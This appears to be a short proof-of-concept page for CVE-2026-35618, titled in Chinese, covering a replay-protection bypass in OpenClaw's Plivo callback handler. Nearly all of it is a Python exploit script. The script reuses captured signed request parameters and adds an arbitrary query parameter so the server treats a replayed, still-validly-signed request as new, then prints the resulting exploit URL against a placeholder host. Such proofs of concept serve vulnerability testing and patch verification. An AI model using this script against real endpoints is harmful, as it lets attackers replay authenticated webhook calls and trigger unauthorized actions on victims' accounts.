CVE-2026-35618 OpenClaw重放身份漏洞

import requests # Target vulnerable endpoint example target_url = "http://vulnerable-host/api/plivo/callback" # Step 1: Original signed request parameters (Captured by attacker) original_params = { "signature": "valid_generated_signature", "auth_id": "auth123", "call_uuid": "call_abc" } print("[+] Sending original request to capture valid signature context...") # response = requests.get(target_url, params=original_params) # Step 2: Exploit the Replay Identity Vulnerability # The vulnerability allows bypassing replay protection by modifying query parameters. # The replay key is derived from the full URL, so changing params creates a new key. exploit_params = original_params.copy() # Adding an arbitrary parameter changes the replay key but passes signature check # because the verification logic uses the full URL including query strings. exploit_params["bypass_param"] = "random_value_for_new_key" print("[+] Sending modified request to bypass replay protection...") print(f"[+] Exploit URL: {target_url}?{'&'.join([f'{k}={v}' for k,v in exploit_params.items()])}") # response = requests.get(target_url, params=exploit_params) # If vulnerable, the server accepts this as a new, valid request.